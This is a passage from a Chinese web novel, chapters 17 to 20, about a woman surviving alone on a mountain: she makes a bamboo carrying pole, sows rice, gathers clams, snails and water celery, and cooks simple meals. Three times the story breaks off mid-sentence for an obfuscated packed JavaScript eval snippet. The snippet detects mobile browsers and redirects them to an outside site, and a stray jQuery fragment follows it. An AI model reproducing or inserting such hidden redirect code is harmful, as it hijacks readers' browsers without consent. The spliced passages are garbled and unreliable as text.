依然是那片熟悉的山坡,上面长了许多蕨菜。 春天,许多野菜都争相从地里冒出头来,蕨菜被誉为“山菜之王”,数量自然不可小觑。 黄迎春不一会儿就折了一大篮。 蕨菜能长一整个春天,从三月到六月,郁郁葱葱的山林里到处都有它的身影。 下雨之后的蕨菜最嫩,尤其是雨后第二天清晨,挑露珠还没干的时候去采蕨菜,只取一点嫩芽,简单焯水后放点猪油和盐清炒就很好吃。 要是再加上一个新鲜的山鸡蛋呢? 爽脆的山蕨菜,滑嫩的山鸡蛋,这两种充满山野气息的食物在油锅里一碰头,立刻飘出一缕经久不散的香味。 黄迎春深深地陶醉在蕨菜炒山鸡蛋散发出的那股自然的鲜香里,吃着蕨菜咬着鸡蛋再嚼两口米饭,眼角眉梢都荡漾着满足的喜意。 山鸡蛋真好吃啊! 明天她还要去竹林里守株待鸡! 17.河蚬鲜汤 又圆又大的竹簸箕里,金灿灿的稻种撒了满满一盘,被春日的暖阳一晒,再也不见堆在麻袋中藏在地窖里灰头土脸的样子,个个都精神饱满,吸足了太阳的热量,身上变得暖烘烘的。 黄迎春放下手里的镰刀,走到簸箕前,伸手抓了一把稻种,感受温度。 然后,一视同仁地给反面的稻种也来了一场温暖的日光浴。 之后,黄迎春回到屋檐下,继续和放在镰刀旁边的竹子做斗争。 晴好的天,不仅适合拿来晒种,还适合去地里耕种,黄迎春却难得的躲在家里的屋檐下偷闲。 并不是她犯懒,只是还没下地的稻种如今就是黄迎春的命,她生怕她一转身出门,天上的鸟雀就飞下来把她的稻种通通吃光。 索性稻种也不能晒太久,一天两三个时辰足以,黄迎春就歇了外出的心,坐在屋檐下守着院子里的稻种,给稻种翻翻面,顺便找点活干。 人只要一勤快,眼里就处处都是活。 虽然被困在院子里,而院子里的地早已翻好,划成一块又一块的菜地,菜种也都撒了下去,灌溉的水更是在今天早上太阳还没出来之前就被黄迎春一瓢接一瓢地浇到地里,但黄迎春还是给自己找到了一个活——做扁担。 黄迎春很早以前就想给自己做一条扁担。 扁担是个好东西,有了它,她每次出门提水就可以同时挑两桶水回家,把砍好的柴火带回家时也能少跑几趟。 最重要的是,扁担不比镰刀,镰刀丢出去还担心毁了刃,扁担是竹子做的,扔出去就是摔坏了黄迎春也不心疼。 下回要是遇上山鸡,她绝对不会像上次一样傻愣愣地站在原地看它跑路! 自从吃了一回山鸡蛋,黄迎春就对那嫩滑鲜香的味道着了迷。但是这种好事不是天天有的,之后几天,黄迎春每天都跑去竹林里守株待鸡,就差睡在竹林里,结果别说山鸡蛋,连根山鸡毛都没见着。 黄迎春很失望,于是竹林遭了殃。 原本茂密得仿佛一只脚都插不进去的竹林活生生被黄迎春用镰刀劈开一个缺口,随着黄迎春的失望值越来越高,竹林的缺口也越来越大。 砍掉的竹子泛滥成灾,终于把家门前的一大片野地拾掇得干干净净的黄迎春趁夜编了两只大大的敞口簸箕,决定用竹子做条扁担,在今天一口气把它们都扛回家。 门前的荒地终于被自己收拾好了,现在总算有地方可以晒柴火了。 反正竹子长得快,再怎么砍也不会灭绝。 黄迎春打算再多砍点竹子带回家,在厨房旁边用竹子搭间宽大的竹屋,专门拿来放晒好的柴火,这样以后再遇到下雨天,她就不用担心柴火被雨淋湿不能生火做饭。 有了柴房,她平日里也能多打些柴火回来,也不用担心厨房放不下。 这是一举两得的事情,只是需要花费她许多时间。黄迎春的时间很宝贵,所以,能节约时间、提高效率的工具很有必要。 只要有工具,做条扁担比编个竹筐还省工夫,偏偏黄迎春没有工具。 锯、斧、刨、凿、锤、尺,但凡这六件木作工具黄迎春手里有三样,此时也不用把背篓倒扣在地面当椅子坐。 黄迎春看了看墙角处不中用的锄头和鹤嘴锄,又瞧了瞧手里那把既当柴刀又当锯子使的镰刀,深深明白了什么叫巧妇难为无米之炊。 没别的选择了,干吧。 扁担既要结实又能承重,从选料开始就要好好琢磨。 新生的幼竹竹竿青翠,上面还带着白霜,随着竹子渐渐长大,这些白霜也会渐渐暗淡,变成黄色。三岁的竹子是黄绿色的,再长两年,竹竿的光泽会越来越弱,逐渐呈现出一种老竹独有的旧黄色。五年以上的老竹才适合拿来做扁担,竹竿的弹性不像嫩竹那般软差,竹料手感坚硬,敲击的回声都是沉闷的。 黄迎春在竹林里挑了一棵五年以上的老竹,又长又粗,光是扛回来就花了一番大力气,现在被磨破的肩头还火辣辣地疼。 不过想着一根好扁担能用七八年,若是保存得当,用上十几年也不在话下,黄迎春就没有丝毫怨言。 而且竹扁担这东西,向来只会越用越顺手。 一样的外形,没有做任何标记,但有的人一上手,就能立刻知道这是不是自家的扁担,黄迎春小时候还觉得这是一件神奇的事情,后来自己也有了日日打交道的老伙计,便明白其中的道理。 感觉,是玄之又玄的东西,多年的手感骗不了人。 挑水砍柴,以后她日日都用得上扁担,黄迎春瞥了一眼拿了十五年的鹤嘴锄,又低头望向地上的老竹。 要享用扁担的诸多好处,总得先把扁担做出来才行。 黄迎春把沉重的竹竿立起来,在和她的嘴一样高的地方用指甲划了一道深深的痕,然后拿起镰刀沿着她划的印记把竹竿劈开,尽量使缺口变得平整,接着又把竹竿一分为二,拿起其中一半取其形,一点点把多余的竹节和木刺削掉,直到它变成头窄腰宽的模样。 唯一美中不足的,便是她手边没有砂纸,也没有其他可以用来打磨的工具,只能用小刀和一些粗糙的野草一遍又一遍地擦拭,一点又一点地磨,勉强把那些十分明显的毛刺给去掉。 之后,黄迎春又拿了一根干透的树枝伸进灶膛里。 厨房的铁锅一直烧着热水,方便黄迎春随时取用,所以灶膛里的火从没熄过。 不烧饭做菜时,灶膛里的火候都很小,黄迎春拿着树枝在灶膛里放了好一会儿才拿出来。 院子里菜田旁的空地上晒着许多黄迎春开荒时打下来的草木,她走过去踢了几脚,划出一个小小的圈,利落地用树枝在地上点燃一个火堆,拿起扁担放在火上,过火提尾。 随着火苗的烘烤,新鲜的竹沥从扁担光滑的表面渗出,焦香气味不再萦绕在鼻端后,黄迎春的翘头扁担也做好了。 扁担还有另一种做法,不必过火提尾,只要削片竹片装个倒扣,绑上麻绳照样可以挑水担柴,只是黄迎春没有工具,连个楔子也做不了。 过火提尾也没什么难的,黄迎春安慰自己,反正漫山遍野都是柴火,只是要多花点气力把它们砍回家。这个火堆生了也不浪费,焚烧过后的草木灰烬刚好可以拿来肥田。菜地里撒点草木灰,还能减少病虫害呢。 黄迎春想了想,又高兴起来。 她走到太阳底下,给稻种又翻了个面,然后,拾掇拾掇剩下的竹材,该劈的劈,该分的分,该浸的浸,该晾的晾……最后,黄迎春坐在屋檐下,守着满盘金灿,熟练地用竹条编起筲箕。 筲箕和簸箕一样,也分圆口和敞口,敞口的黄迎春编的时候都会编得大只一些,带到地里当农具用。 圆口的筲箕可以拿来淘米、洗菜,主要放在厨房。 圆口的簸箕装的东西更多,通常拿来装稻种或是晾晒菜干和菌菇,这几日艳阳天,院子里的空地上到处都是黄迎春编的圆口簸箕,以及装在簸箕里的她的口粮。 前几天黄迎春不凑手,一直没空编筲箕,从山坡上采回来的野菜洗干净之后都是用圆口簸箕先装的。 说是圆口簸箕,其实也不是,那天晚上黄迎春困得直打哈欠,偏偏手里的器具还没编完不舍得睡,半明半昧间,最后就编出了一个既是簸箕又是筲箕的四不像。 现在正好有时间,黄迎春决定趁着这会儿的空闲,赶紧编一个正统的圆口筲箕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16797971|190244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来,好替代厨房灶台上放着的那个残次品。 哪怕是放在厨房装菜的小筲箕,编起来也极费时间。 黄迎春收了稻种,搬了柴火,煮了饭,翻了地,还去河边担了两桶水浇到菜地里,就这么动一会儿坐一会儿,这才终于在夕阳落山之前把一个圆口的竹筲箕编好。 竹筲箕编好后,黄迎春就拿着它和一个竹篮,往河边的方向走去。 没有诱饵,沉底的箩筐捞出石头,一只河虾的踪影都看不见。好几天不见荤腥的黄迎春有点馋肉,打算去河里捞蚬子。 最适合挖河蚬的时间应当是清明至端午节前后,无论是河蚬的生长还是繁殖,这期间的速度都是最快的,河蚬的肉质也是最肥美的。 眼见清明也没几日,但黄迎春已然等不及了——她要吃肉! 黄迎春超级超级想吃肉,天天干的都是苦力活,再不给她自己弄点肉吃,保不齐她明天就饿昏在地里了。这荒山野岭的,说不定都没人给她收尸。再说了,做个饿死鬼,那多亏啊! 夕阳渐渐隐落在山坳处,河里的水也越来越冰凉,不见正午时分太阳高挂时的温柔,一副冷冰冰不近人情的模样,奈何黄迎春满腔火热,一心只想吃肉,所以河水再怎么冰凉,也浇不灭她心头的热火。 好在,这年头不比上辈子,没有污染的青山养出了好水,好水孕育出许多可吃的水生动植物,再加上这荒无人烟的地界只有黄迎春一户人家,根本没有其他人来和她抢,所以黄迎春一个筲箕下去,便挖出了大把的好东西——沙砾、泥土、石子、水草,还有黄迎春心心念念的蚬子。 自然界的动物都有保护自己的独特本领,河蚬就喜欢把自己伪装成棕黄色的土块、黄绿色的水草,或是黑褐色的石头。 不过这点伪装在黄迎春的一双利眼面前毫无用处,黄迎春一上手,河蚬们就无所遁形。 河蚬是贝壳类动物,长得像一个正三角形,美拉德色系的壳又厚又硬,黄迎春边抖边捡,捡了一篮子才恋恋不舍地离去。 空荡荡的竹篮装得满满当当,提起来都坠手。 黄迎春第一次感激她投身到这个朝代,这个没有污染河里的蚬子都长得又大又多的朝代,只要勤劳肯干,想必她一定不会在这里饿死。 为了给她的夕食添一点好滋味,黄迎春又在田边拔了几棵野葱带回家。 真奇怪,这野葱在哪里都能长,偏偏移栽到自家地里死了一大半。 黄迎春只能忍痛把干枯的野葱拔出来,精心侍弄着存活的一小半,在它们在自家菜地里茁壮生长之前不打算动一片葱叶,每回要吃野葱还是去外面找。 虽然河水十分干净,但为了避免磕牙,黄迎春还是把洗干净的河蚬放在清水里吐了许久的沙。 装着白米的竹筒冒出热气,浓郁的米香勾引着饥肠辘辘的黄迎春去木桶边宣告蚬子死期将至。 热锅凉油下河蚬,猛火爆炒至开口,之后加入切好的野葱段和姜片爆出香味,然后从木桶里舀两瓢清水倒进铁锅里,盖上木头锅盖,等水开后,黄迎春又撒了几粒盐巴,放着泛着油花的奶白色鲜汤咕噜咕噜了好一会儿,这才拿着空碗过来盛汤。 黄迎春尝了一口汤,差点被鲜掉眉毛。 要是加上白花花的嫩豆腐,那该多好吃啊! 黄迎春站在灶台旁,一边喝着河蚬鲜汤,一边拼命往簸箕里吐壳。 汤鲜肉肥,蚬子壳还能拿来做农田的肥料,河蚬真是全身都是宝。 吃饱喝足的黄迎春决定,清明至端午这段时间,她每天都要去河里挖蚬子,只要挖不腻,她就吃不腻。 黄迎春再度发出感慨:又香又甜的河蚬鲜汤,真好吃啊! 18.紫苏炒田螺 天没晴几天,又开始下雨了。 本来还想忙过这几天好好给自己洗个头发,这下好了,又泡汤了。 黄迎春望着屋檐外下了一早上的雨,忍不住皱起眉头,倒也不是烦闷,只是心头萦绕着一股淡淡的哀愁,久久不散。 黄迎春也不知道自己在怅惘个什么劲,可能是清明节到了。 正所谓清明时节雨纷纷,路上行人欲断魂,虽然这前不着村后不着店的地方荒无人烟,从早到晚只有她家上空才会飘出一缕炊烟,连个安排点香烧纸的人影也没有,但天上的雨可不管这些,一视同仁地在有人安息的地方都落了雨。 几乎每年清明节都会落雨,去墓前和庙里祭拜先人的人们都说不是巧合,下雨意味着先人们回来看他们了。 黄迎春是个坚定的唯物主义者,她并不相信这个说法,认为“见雨如见面”只是还活着的人互相安慰的说辞。 这个说辞深入人心,黄迎春从小到大不知道听过多少遍,虽然不相信,但她也不会不懂事地当面表现出质疑。 说两句好听话图个心理安慰罢了,祖宗就算知道后人给这场雨乱安名头,也不会错怪他们,毕竟死人和活人比,还是活人要紧。 黄家的祖宗自有她那些丧良心的父母亲人去祭拜,黄迎春更不担心,她一心只有农事。 清明前后,种瓜点豆,最近正是耕种的大好时节。清明过后,雨会一场比一场大,随着雨量变多,气温也会变得越来越高,忙碌的田间生活即将彻底展开。 没有帮手,没有耕牛,黄迎春不知道自己抢晴早播时会累成什么样。 算了,焦虑也无济于事。 与其提前烦恼,不如多给自己找点肉吃,多补充一点能量,毕竟之后忙起来连下河挖蚬子的功夫都没有了。 思考只是一刹那的工夫,转瞬间黄迎春就拿起竹编的帽子往头上一戴,把筲箕往竹篮里一扔,拎起竹篮,再把竹筐往肩上一背,扭头就往外走去。 一想就干,黄迎春从来没有想过自己的执行力会这么强。 人都有劣根性,黄迎春一直很苦恼一个跟了她两辈子的毛病——拖延症。不管是读书还是工作,这个毛病一直紧紧地跟着她,仿佛焊在了她身上。虽然最后她总能赶在最后期限之前把事做完,但过程中诱发的种种情绪堆积在一起,压力山大到几乎能把她压垮。 上辈子带着学生思维步入职场,黄迎春遇上一个严苛的领导,被PUA的差点抑郁。后来换了份工作,她开始和老油条同事学着摸鱼,该死的责任感又天天作祟,自己都不肯放过自己,黄迎春找了个绩效的借口安慰自己付出总有收获,结局就是熬夜猝死在工位上。 这辈子入了宫,活计不用做得多出彩,只要不出错就万事大吉,熬过了“实习期”,黄迎春渐渐在花草司里如鱼得水。就这样养老也不错,好歹也算是国家编制,上辈子这种坑都是千军万马过独木桥才能栽进去的。刚放松警惕,天子一怒伏尸百万的封建王朝就向黄迎春展露出它的獠牙,上进不了又摆烂不得的黄迎春只能时时刻刻保持谨小慎微,天天过着如履薄冰的日子。 但不管是领导的PUA、自我的鞭策还是对权力的恐惧,黄迎春自己当家做主之后,才发现从前的行动力在现在的她面前不堪一击。 这就是为别人打工和为自己打工的区别啊! 没有人情世故,没有职场倾轧,不用看别人脸色,不用出让个人利益,干的全都是自己的,多劳多得,少劳少得,想什么时候劳动都可以,不用打卡,没有考勤……天哪,如果我荷包里的余额能翻几个番,这简直就是我梦寐以求的理想生活啊! 为自己打工的黄老板十分卖力,不顾冰冷寒凉,挽起裤腿在河里又捡又摸,捞了一大堆蚬子、田螺和螺蛳,背着竹筐提着竹篮端着筲箕满载而归。 清明正是吃螺的好时节。 有句话叫清明螺,肥似鹅。 黄迎春倒是不信这种话,一听就是吃不起鹅肉的穷苦人家哄骗小孩的话。 可能吃不起鹅肉的人家太多了吧,互相听来听去,人人说,代代传,最后竟然变成了一句俗语流传下来。 也不是所有能够流传下来的俗语都是正确的,但能经过光阴检验的俗语,流传下来自有它的一番道理。 譬如“清明螺,肥似鹅”或是“清明螺,赛只鹅”这种话,黄迎春一点儿也不相信它们的真实性,但这并不妨碍她去河里捞螺。 虽然比不上丰润流油的鹅肉,但螺肉好歹也是道肉菜。 此时的螺还没进入繁殖期,肚子里没揣仔,肉质饱满,吃起来也是十分肥美的。 如果能放点红辣椒和螺一起炒就更好吃了。 螺洗净之后放在装有清水的桶里吐两天泥沙,再用剪刀剪去尾部,接着冷水下锅,把螺倒进去煮一会儿,再起锅烧火,化点猪油,丢点切碎的姜粒、拍烂的蒜瓣和红彤彤的辣椒,炒香之后加入螺肉,加点水盖上锅盖继续焖煮,汤汁快收干的时候撒点盐,倒入切碎的野葱丁,用铲子快速翻炒几下,一道香辣扑鼻的爆炒螺肉就煮好了。 用筷子夹上一颗放在嘴里轻轻一吸,滑嫩弹牙的螺肉立刻跳入口中,混着辣椒、蒜瓣和野葱的辛辣滋味,那叫一个好吃,含着香味能连咽两碗米饭。 没有辣椒的黄迎春只能在脑海里画饼充饥,望着在桶里吐沙的螺蛳馋得直咽口水。 官府决定价格,尽管黄迎春十分精打细算,买的那些带铁的农具和厨具还是花了大价钱,剩下的钱首先要供应粮种和足够吃到今年秋收后的粮食,所以在菜种上,黄迎春的预算并不多。安朝的冬天极冷,辣椒是个御寒的好东西,黄迎春的钱只够买一点辣椒籽种在地里,香辣螺蛳这种菜,对现在的黄迎春来说是道无法实现的奢侈美食。 黄迎春退而求其次,打算烹饪一道紫苏炒田螺。 紫苏炒田螺是一道历史悠久的名菜。 紫苏和田螺很早以前就有,早到何时呢?谁也不知道。只是大家从来没有想过把这两样放在一块做菜。 田螺因为泥腥味重,只有吃不起肉的贫苦人家才会下河摸回家骗骗肚子,对食物的滋味有点追求的达官贵人都是不吃田螺的。 直到有一个住在池塘旁边的农夫,有一天从池塘里捞出田螺后,顺手揪下长在附近的紫苏,把它们混在一起煮了一餐饭食,歪打正着之下发现了紫苏叶的去腥功效,这才使得紫苏炒田螺逐渐走进千家万户,成为餐桌上的一道简易美食。 黄迎春从前还在黄家村的时候,吃过许多次紫苏炒田螺,不过没几回是好吃的——紫苏炒田螺需要用油润锅,家里人不舍得放油。 尽管如此,大家还是很爱吃这道菜。 这毕竟是匮乏的童年里难得的肉食,而且紫苏和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808246|190244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 田螺都易得,不怕水的纷纷下河摸螺,个子矮的就漫山遍野掐紫苏叶,不用大人费一点心。 只要不动家里的油罐子,上山还是下河,家里的大人连问都不会问一声。 如今黄迎春的家里是她当家做主,能不能放油黄迎春一个人说了算,黄迎春掀开装着猪油和菜籽油的陶罐看了看,当即财大气粗地表示——她要复刻这道童年菜肴,把它变成一道名副其实的美食。 田螺已经在木桶里养着,就差紫苏了。 黄迎春拎起水淋淋的竹篮,提着鹤嘴锄,转头就出了门。 紫苏极其好找。 田间地头,溪畔林缘,只要是阳光充足排水通畅的地方,处处可见紫苏的身影。 紫苏也很好种。 黄迎春记得,小时候,她只是随手在雨天把玩腻了的一棵带须的小紫苏往家门口一扔,结果紫苏就在地里扎了根,几个月过后,紫苏长了一大片,从此她家的餐桌上就多了一道常驻嘉宾——紫苏团子。 紫苏团子是把紫苏叶混着杂粮揉在一起,捏成一个又一个小团子,放在锅里蒸熟,这便是一顿餐食。 母亲和婶娘做饭的时候起码还有点咸味,若是祖母下厨,那必是一颗盐粒子都看不见,而且分到她手里的紫苏团子,几乎只见紫苏,不见粮。 黄迎春不喜欢吃紫苏团子,但紫苏是个好东西,拿它来烹鱼做汤,可以去腥增香,紫苏还能用来入药治病。感觉自己快感冒了,去医馆买点甘草、陈皮放在锅里和紫苏同煮,煮成一碗浓浓的熟水,趁热喝下去,不仅口舌生津,还散寒开胃,近几日再注意防寒保暖,不洗头洗澡,患上风寒的概率就会大大降低。 这样好的东西,只掐几片叶子怎么足够呢?摸回来的田螺和螺蛳还要放在水里养几天,没办法现吃,掐掉的紫苏叶子放两天就蔫了,黄迎春随随便便就找出好几条理由,然后一点儿也不客气地挖了二十几棵紫苏带回家。 其实不必挖那么多的,按照黄迎春小时候的经验,紫苏极易养活。但野葱也是野外一长一大片的东西,偏偏移植到黄迎春家门口的菜地里,一眨眼就死了数十棵。 可能是不喜欢黄迎春拘束了它们的自由,野葱们宁愿用死亡抗争被囚禁的命运。 黄迎春拔掉一棵半死不活的野葱,预备等会儿和河蚬、松树菌同煮成一锅三鲜汤,又把竹篮里的紫苏拿出来栽在附近的地里。 黄迎春没有因为紫苏易成活和繁殖的特点而敷衍,但栽些紫苏是件十分简单的事,土地还湿着,也免了黄迎春灌溉的辛苦。 黄迎春蹲在河边,把沾满泥土的鹤嘴锄和自己的双手洗得干干净净,然后拿出那根宁死不屈的野葱,细致地择掉衰败的部分。 怎么就死了呢? 黄迎春着实想不通。 种在家门前和长在山坡上有什么不一样吗? 她的院子没有栅栏围着,一点儿都不成形,把家门前的这块地称之为院子,黄迎春有时候都觉得违心。 心中不安的黄迎春吃了两顿鲜味交融的紫苏炒田螺,用扁担从竹林里运回二十捆竹子,把它们交错在一起制成栅栏,围出了一个颇具规格的前院。 院子里再栽一棵树就好了,天热的时候可以坐在树下一边纳凉一边吃饭,晚上还可以把竹席铺在地上,一边喝紫苏饮子一边抬头看星星。 种棵什么树好呢? 19.水芹虾滑羹 前院收拾好了,望着一片荒芜的屋后,黄迎春的心直痒痒,但她还有更重要的事情要去做。 晒好的稻种用日浸夜露法催发了好几天,剔除浮在水面无法沉底的,留下的种子都长出了白色的根须。 一大早,黄迎春就挽起裤腿,赤脚踩在湿软的水田里,一边走一边播撒稻种。 田地在灌水之前深耕过,石块和草叶根茎早早被黄迎春挑出去,土壤里并没有什么杂物。只是浸泡了许多天的水,泥土变得湿润无比,行走间十分艰难,黄迎春深一脚浅一脚地在黏稠的泥地里走着,小心翼翼地维持着身体的平衡,伴随着失重感的刺激,体力的消耗在短短的时间内便达到顶峰。 手里的稻种全部撒完后,黄迎春的腿脚也冻得不成样子。 黄迎春在河边把脚洗干净,坐在一块石头上等着把脚晾干的时候,望着脚上新鲜出炉的细小伤口和放在一旁的干燥的鞋,忽然笑了一声。 上辈子穿了十几年的深色冬衣,只因为家长觉得浅色不耐穿,她每回入冬去买新衣时都拉着个脸,愤愤不平地和家长据理力争,最后总以被家长骂一顿再一边哭一边提着暗色系的衣服回家为结局。 没想到,换了一个朝代,自己却主动脱下鞋子赤脚劳作,不仅不觉得“鞋子比脚金贵”这样的想法不对劲,还习以为常。 虽然田地泥泞,本来就不适合穿鞋劳作,就是穿了鞋子,鞋子和脚也会一起陷入地里拔不出来,平添了倒栽葱的笑料便罢了,还劳损一身衣服沾满泥水。 只是有时没有必要脱鞋劳作的活计,黄迎春也会主动把鞋脱下来,不顾脚上多出许多道伤口,只一门心思担心损毁了自己买来的鞋袜。 唉—— 她的人生,怎么总是挑到穷人家的剧本呢? 发芽的稻种长到可以插秧的时候,大概需要一个月。 这一个月内,黄迎春必须把插秧的田开垦出来,然后深耕,灌水,犁田,耙田。 一大堆活等着黄迎春去干。 好在黄迎春不是一个心里没有成算的人,穷人的孩子早当家,“晴时存够雨时柴”几乎是刻在骨子里的行为习惯。 自从她来到这座荒山的第一天,但凡醒着,黄迎春没有一刻不在干活。 晴时下地,雨时摘菜,白天运竹,晚上编织,家里家外转得比陀螺还勤快。 预备插秧的田地黄迎春一直在开垦。 雨天无法翻土,她就拿着镰刀把地面上长的杂树先劈了,地里的石头翻出一大篓,一人多高的野草也拦腰齐齐砍断,割了一大片。 天色一放晴,她便马不停蹄地走出家门,将它们斩草除根。 就这么一直忙碌着,忙到腰酸背痛,忙到伤口结痂,忙到习以为常。 黄迎春不得不忙,只有忙起来,她的心才不会那么慌。 黄迎春的心一直沉甸甸的,她手里的钱只够活到今年秋收后,如果粮食长不出来,或是收成不好她攒不够过冬的口粮,她便活不过今年。 黄迎春百般忙碌,只为了活下去。 忙碌生活里唯一的慰藉就是好吃的美食。 每日的菜单取决于黄迎春当天打到的野食。 这天,黄迎春在河边发现了一大片野生的水芹菜。 水芹喜湿耐涝,一般生长在低洼的湿地和浅水的沼泽。 水芹最喜欢长在河流两岸,沿着长长的岸边不停生长繁殖,一长就是茂盛的一大片。 水芹不仅喜水,还喜肥。 土壤肥沃的水田中央,也常常会冒出几棵水芹和田间的水稻争抢营养。 农人一在田间看到水芹就会立即连根拔除。 常人只知道水芹六月开花,八月结果,果子成熟后,会自然脱落,漂浮在水面上,流到哪里就在哪里生根发芽。 只有经验丰富的农人才知道水芹不只靠种子传宗接代,它埋在地下的根须生长繁殖的速度更快。 匍匐在老茎下的新芽一旦发出,就会和母株断离,在土里飞快吸收肥力和泥水,不过几天时间便能长成一副不输于身旁老母亲的模样。 但论起味道,还是长在河边的水芹菜滋味最好。 河岸边的水芹吸足了青山孕育出的清水,颜色不仅更青郁鲜嫩,那股与生俱来的清香也是沾了土腥味的田中水芹无可比拟的。 这样好的水芹菜,任谁也看不出有一只又一只的蚂蝗附着其上。 水芹喜水,而水边多滋生蚂蝗。 水边的蚂蝗和地里的蚂蝗不同。 地里的蚂蝗又大又毒,咬人十分疼。 水边的蚂蝗长得又细又小,就像一条淡红色的丝线,不仔细看,根本看不出来。 河里摘的水芹菜,拿回家放在清水里浸泡,不一会儿就能看到蚂蝗脱离菜叶浮在水面上。 若是放点盐,将水芹菜用盐水一泡,还能看到一颗颗小小的淡黄色颗粒,那是蚂蝗的虫卵。 黄迎春在不知事的年纪,吃了好几顿沾有蚂蝗虫卵的凉拌水芹,肚子疼了好几天,后来看到凉拌水芹就摇头。 其实水芹菜好好拾掇一下是不会有蚂蝗的。 只需先用盐水将蚂蝗和蚂蝗虫卵泡出,然后用清水多洗几遍,之后点火放柴,把锅里的水烧热,再把切碎的水芹菜往锅里一放,拿着长筷子不停地翻烫,不等水芹菜变色,数二三十下就用筷子全部捞出,这样既能保持水芹的口感,吃了也不会腹痛。 只是盐水要盐,清水要挑,烧火要柴,还是在河边洗净——拿回家里用刀切碎——放点大酱——搅拌一下就能直接生吃的凉拌水芹做起来更方便。 凉拌水芹深受众人喜爱,往往一上桌就一抢而空,大人们边夹边评点今春的水芹长得好,又细又长又嫩又脆,小孩子则一边吃一边奇怪——怎么这凉拌水芹吃起来好像还有一股肉的味道呢?是什么肉呢?不知道,总之好想吃肉,没肉吃就多吃点凉拌水芹吧。 黄迎春疑惑过几回,肚子疼了几回之后便无师自通了这个问题的答案——那哪是肉啊,分明是没洗干净的蚂蝗虫卵! 想起这段难受又穷苦的记忆,黄迎春就连连摇头,她急忙拿起灶台上的盐罐子, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16819400|190244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又放了一点盐在水里,将水芹菜反反复复地洗了好几遍,每根根茎都掰开来认真看过,只差没跪下来求上天赐给她一套显微镜。 收拾好水芹菜后,黄迎春又出门下河拎回两个虾笼。 虾笼是黄迎春前天夜里编好,昨天傍晚下到河里的。 用压了石头的箩筐守株待虾显然不是个好主意,黄迎春就劈了些竹蔑编了两个带倒须的虾笼,这种虾笼的入口是一个漏斗形状,虾可以轻松钻进去,但进去后就很难再钻出笼子。 黄迎春还在地里捉了几只长长的蚯蚓,拿石头捣烂它们的身体,然后放在虾笼里做诱饵。 这个计策相当不错。清晨,黄迎春从水草茂密的河边把两只虾笼从河里提起来,一入手就感受到不同凡响的重量,沉甸甸的。 把虾笼带回家中倒在木桶里一看,两只虾笼都是大丰收,大的小的整整铺满了一桶底,让黄迎春雀跃不已。 太好了,如果这个办法管用,她就可以多编几个虾笼,置放在不同的河段,多捕一些河虾,把它们带回家煮熟晒干做成虾干和虾粉,这样不仅能给自己多添一些菜食和储备粮,还能用虾粉煮菜做汤,省下盐的消耗,夏秋菜地丰收的时候,她就能把省下来的盐用在干菜和酸菜的制作上,如果遇上大雪封山,她也不用担心在冬天没菜可吃了! 黄迎春越想越激动,恨不得现在就上手再编十个八个的虾笼放到河里。 勤劳不一定致富,但手停之后就是口停,这一点黄迎春很清楚。 她天天提心吊胆,日日奔忙,不过是为一口能活下去的吃食。 为了庆祝自己找到一条开源节流的好办法,黄迎春决定做一道水芹虾滑羹,好好犒劳一番这些日子下地劳作的辛苦。 抠掉虾脑,去掉虾线,划开虾壳……去掉一切不能吃的部分之后,黄迎春把虾肉用刀剁成肉泥放进碗里,然后倒入切碎的水芹菜不停搅拌制成虾滑,待充斥着菌菇香味的滚水顶着锅盖冒出白汽,一个又一个形状不一的青白色水芹虾滑便迫不及待地沿着筷子滑进锅里,不一会儿,青变绿,白变红,撕成细条的菌菇浮在沾满油花的汤面上,一锅热气腾腾的水芹虾滑羹便做好了。 水芹脆嫩爽口,河虾细腻弹牙,菌菇柔软韧滑,热火化开的猪油油脂包裹着它们,咬下去的每一口都藏着丰润的鲜美。 美中不足的是,黄迎春没有淀粉和蛋清。 剁虾肉的时候加入一些淀粉或蛋清,虾肉的质地会更黏稠,虾滑的口感也会更加的鲜爽弹牙。 不过,瑕不掩瑜。 没撒一粒盐却极其鲜美的水芹虾滑羹自成一味,深深地俘获了黄迎春的味蕾。 太好吃了,这才是水芹菜的正确吃法啊! 她这辈子都不要再看到凉拌水芹这道菜了呜呜呜—— 这道春天美味好吃到黄迎春快要流泪。 厨房内,黄迎春坐在倒扣的竹筐上捧着汤碗大快朵颐,院子里,被雁过拔毛的黄迎春从河边拔来的几棵水芹正在菜地里迎风招展。 是绿色的、充满希望的春天哪! 20.菠菜滚鲫鱼汤 好想吃青团。 这是黄迎春在屋后开荒时看到浆麦草的第一反应。 安朝有清明节做青团的习俗。 